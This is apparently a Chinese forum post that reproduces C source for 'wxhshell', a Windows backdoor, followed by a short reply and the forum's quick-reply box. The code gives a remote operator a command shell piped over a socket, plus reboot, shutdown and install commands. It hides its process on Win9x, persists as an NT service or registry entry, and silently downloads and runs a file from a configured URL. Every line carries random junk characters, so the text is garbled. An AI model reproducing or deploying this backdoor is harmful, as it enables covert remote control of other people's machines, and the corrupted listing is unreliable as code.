  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oz|+{b}%  
  } Q4S:/"*v8  
  else { e~,+rM  
V!TGFo}  
    switch(cmd[0]) { opzlh@R 3  
  _o+OkvhU  
  // 帮助 8)Vl2z  
  case '?': { qAlX#]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HB.:/ 5\  
    break; -sDl[  
  } gdyWuOxa|  
  // 安装 Zm6jF  
  case 'i': { 'r-B%D=  
    if(Install()) W&I:z-VH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GGZ9DC\{  
    else .]<gm9l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x1Gc|K/-  
    break; Y q|OX<i`K  
    } H xc>?  
  // 卸载 d5{RIM|  
  case 'r': { DM\pi9<m  
    if(Uninstall())  ggfCfn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c3<H272\  
    else Ex L7 ]3r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [IHG9Xg  
    break; >*+n`"6  
    } m|]"e@SF2  
  // 显示 wxhshell 所在路径 pMAFZfte!x  
  case 'p': { >,)U4 6  
    char svExeFile[MAX_PATH]; W+s3rS2  
    strcpy(svExeFile,"\n\r"); o62GEl25  
      strcat(svExeFile,ExeFile); {D,- Whi  
        send(wsh,svExeFile,strlen(svExeFile),0); C9FAX$$^(Y  
    break; <5h}\5#<j  
    } &&"+\^3  
  // 重启 Y10  
  case 'b': { 6vU%Y_n=y]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;{e'q?Y  
    if(Boot(REBOOT)) \t&8J+%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  91fZ r  
    else { F<*zL:-Z  
    closesocket(wsh); /:,}hy+U  
    ExitThread(0); QMDkkNK  
    } s~5rP:  
    break; \"5p )(  
    } =dWq B&  
  // 关机 ^0(D2:E  
  case 'd': { ChNT; G<6$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \,!Qo*vj  
    if(Boot(SHUTDOWN)) IRv/[|"L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ca/N'|}^  
    else { ]4lC/ &nm  
    closesocket(wsh); {9Q**U`w  
    ExitThread(0); -xyY6bxL  
    } ybIqn0&[  
    break; iUqD>OV  
    } Fd%JF#Hk  
  // 获取shell gS|6,A9  
  case 's': { rTST_$"_6  
    CmdShell(wsh); 01]W@ \(  
    closesocket(wsh); F"23v G>3  
    ExitThread(0); Q5 o0!w  
    break; YCdtf7P=q  
  } Y|KT3  
  // 退出 Cw5 B p9  
  case 'x': { *d 4A3|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lgb q^d  
    CloseIt(wsh); srKEtd"  
    break; a:1$idj  
    } 6mxzE3?G  
  // 离开 ClPE_Cfw~  
  case 'q': { 52'6wwv6?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }Cb-7/  
    closesocket(wsh); @FRas00)|  
    WSACleanup(); I(/*pa?m{  
    exit(1); q[. p(6:  
    break;  -f<}lhmQ  
        } =C7<I   
  } "837b/>/  
  } scE#&OWF%  
? a/\5`gnN  
  // 提示信息 I&% Z*H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^i@0P}K<  
} eK\i={va  
  } uj)fah?Wg  
idjk uB(6  
  return; YlZ&4   
} @qF:v]=_@  
@ykl:K%ke  
// shell模块句柄 Nr*o RYY  
int CmdShell(SOCKET sock) V'K:52  
{ +Je%8jH  
STARTUPINFO si; h5v=h>c  
ZeroMemory(&si,sizeof(si)); .W\x{h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PM)nw;nS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L3*HgkQQ  
PROCESS_INFORMATION ProcessInfo; d-H03F@N  
char cmdline[]="cmd"; e=[@HVr   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hN\Q&F!  
  return 0; xo!2 GPD.  
} Y7')~C`up^  
wf^p?=Ke  
// 自身启动模式 12tAx3p  
int StartFromService(void) IGA4"\s  
{ n3\~H9  
typedef struct '*G8;91u  
{ r( bA>L*mk  
  DWORD ExitStatus; }Am5b@g"$Y  
  DWORD PebBaseAddress; 'sa>G  
  DWORD AffinityMask; 5YgT*}L+,  
  DWORD BasePriority; ZdT-  
  ULONG UniqueProcessId; jq_ i&~S  
  ULONG InheritedFromUniqueProcessId; {WTy/$ Qk  
}   PROCESS_BASIC_INFORMATION; ?*~sx=mC  
zu,Yuq  
PROCNTQSIP NtQueryInformationProcess; l4& l)4Rx  
.OlPVMFt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R I:kp.V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }LoMS<O-[  
34J*<B[Njo  
  HANDLE             hProcess; 0~Xt_rN](  
  PROCESS_BASIC_INFORMATION pbi; 5>VX]nE3!  
Z4sS;k]}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MIqH%W.r u  
  if(NULL == hInst ) return 0; okO\A^F  
BxaGBK<k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4K|O?MUNS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \GZ|fmYn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \0FwxsL  
tF.N  
  if (!NtQueryInformationProcess) return 0; mp*?GeV?M  
O;0VKNn['  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `4ti?^BNm  
  if(!hProcess) return 0; @qB>qD~WsD  
$s"-r9@q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V \/Qik{h  
PlwM3lrj  
  CloseHandle(hProcess); R%`fd *g  
#6C<P!]V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I [n|#N  
if(hProcess==NULL) return 0; Fv:x>qZr@  
^Iqu^n?2.  
HMODULE hMod; equi26jhr  
char procName[255]; v]T?xo~@'  
unsigned long cbNeeded; ^E".`~R  
rkz84wDx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vTC{  
4,BJK`{  
  CloseHandle(hProcess); ('o} EoXS  
#JN4K>_4  
if(strstr(procName,"services")) return 1; // 以服务启动 i\x@s>@x}  
xWM?E1@  
  return 0; // 注册表启动 n"@){:{4?  
} ZWKvz3Wt  
(&X/n=UI  
// 主模块 7vc4 JO]  
int StartWxhshell(LPSTR lpCmdLine) uXb} o UC  
{ xxld.j6  
  SOCKET wsl; .fS{j$  
BOOL val=TRUE; PO ,zP9  
  int port=0; ST,+]p3L(  
  struct sockaddr_in door; O,#,`2Qc  
8EBd`kiq  
  if(wscfg.ws_autoins) Install(); [I7=]X  
(B03f$8}*_  
port=atoi(lpCmdLine); gLK0L%"5  
s}bLA>~Ta  
if(port<=0) port=wscfg.ws_port; $"MGu^0;1  
sH]T1z  
  WSADATA data; xE!b)@>S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (i1p6  
Nv3u)?A3w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [&(~1C|C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,R=$ qi|  
  door.sin_family = AF_INET; ~g;)8X;;+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FU;a { irB  
  door.sin_port = htons(port); { _Y'%Ggh  
\C{Zqo,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /)<kG(Z  
closesocket(wsl); zjzEmX  
return 1; -z%->OUu  
} KEf1GU6s  
;j+*}|!  
  if(listen(wsl,2) == INVALID_SOCKET) { xc7Rrh]}  
closesocket(wsl); '}-QZ$|*  
return 1; 9WV8ZP  
} PH'n`D #  
  Wxhshell(wsl); XV,ce~ro[  
  WSACleanup(); IYa(B+nB)  
e*d lGK3l  
return 0; A+FQmLS  
X1BqN+=@9  
} Dn#UcMO>W  
O9N+<sU=X  
// 以NT服务方式启动 C 'S_M@I=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TP)o0U  
{ ]Rxrt~ ZB  
DWORD   status = 0;  `YO&  
  DWORD   specificError = 0xfffffff; 6o*'Q8h  
U /xzl4m6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L@f&71  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ] v:"    
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fA=Lb^,M  
  serviceStatus.dwWin32ExitCode     = 0; ezri9\Ju  
  serviceStatus.dwServiceSpecificExitCode = 0; +>yspOEz  
  serviceStatus.dwCheckPoint       = 0; 0wAB;|~*62  
  serviceStatus.dwWaitHint       = 0; dTte4lh  
=5uhIU0O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z)Yb9y>2  
  if (hServiceStatusHandle==0) return; *z0 R f;  
;ULw-&]P  
status = GetLastError(); %Z8pPH~T  
  if (status!=NO_ERROR) a)7&2J  
{ muKu@nshL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ++ObsWZ  
    serviceStatus.dwCheckPoint       = 0; @X=sfygk  
    serviceStatus.dwWaitHint       = 0; R[TaP 7n  
    serviceStatus.dwWin32ExitCode     = status; g4;|uK;  
    serviceStatus.dwServiceSpecificExitCode = specificError; f lt'~fe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4ywtE}mp  
    return; dP#7ev]'  
  } gADqIPu]  
fgHsg@33N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cv p#=x0  
  serviceStatus.dwCheckPoint       = 0; #Yy5@A}`o  
  serviceStatus.dwWaitHint       = 0; 3_T'0x\FP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u=E &jL5U  
} Ec}9R3 m  
9Vt6);cA-]  
// 处理NT服务事件,比如:启动、停止 A;f)`i0l,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %CgmZTz~<  
{ p:ZQ*Ue  
switch(fdwControl) A5[kYD,_  
{ lLK||2d  
case SERVICE_CONTROL_STOP:  Bgai|l  
  serviceStatus.dwWin32ExitCode = 0; OC\cN%qlw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^;?w<9Y  
  serviceStatus.dwCheckPoint   = 0; SCfk!GBVD  
  serviceStatus.dwWaitHint     = 0; B%o%%A8*g  
  { =PnNett}a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !~ j9Oc^  
  } {96NtR0Z  
  return; Zjs,R{  
case SERVICE_CONTROL_PAUSE: D7c+/H@PF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n*G!=lMji  
  break; C[;7i!Dv  
case SERVICE_CONTROL_CONTINUE: F>E_d<m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; brL u~]I  
  break; {nS(B  
case SERVICE_CONTROL_INTERROGATE: RusiCo!r  
  break; D>`{f4Y  
}; f<R 3ND)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b>d]= u  
} Dhk$e  
{3!A \OR  
// 标准应用程序主函数 &?']EcU5h9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h645;sb0  
{ L$jii  
`];ne]xM  
// 获取操作系统版本 Ad -_=a%  
OsIsNt=GetOsVer(); !L_xcov!Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s"8z q ;)  
)a+bH</'  
  // 从命令行安装 Qb;]4[3  
  if(strpbrk(lpCmdLine,"iI")) Install(); "kucFf f  
'z+Pa^)v  
  // 下载执行文件 ':utU1dL  
if(wscfg.ws_downexe) { R80|q#h,]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QqXaXx;  
  WinExec(wscfg.ws_filenam,SW_HIDE); PC%_^BDW  
} B E#pHg  
"#{b)!EH  
if(!OsIsNt) { AAF;M}le,  
// 如果时win9x,隐藏进程并且设置为注册表启动 7'`nTF-@v  
HideProc(); h}S2b@e|  
StartWxhshell(lpCmdLine); 4&6cDig7*2  
} P)ne^_   
else GW]t~EL  
  if(StartFromService()) 6S(`Bw8h  
  // 以服务方式启动 5Iv"  
  StartServiceCtrlDispatcher(DispatchTable); M2.*]AL  
else =E~_F>SD  
  // 普通方式启动 l 5f'R  
  StartWxhshell(lpCmdLine); U1kW1L}B  
nYj7r* e[  
return 0; q"-Vh,8h  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五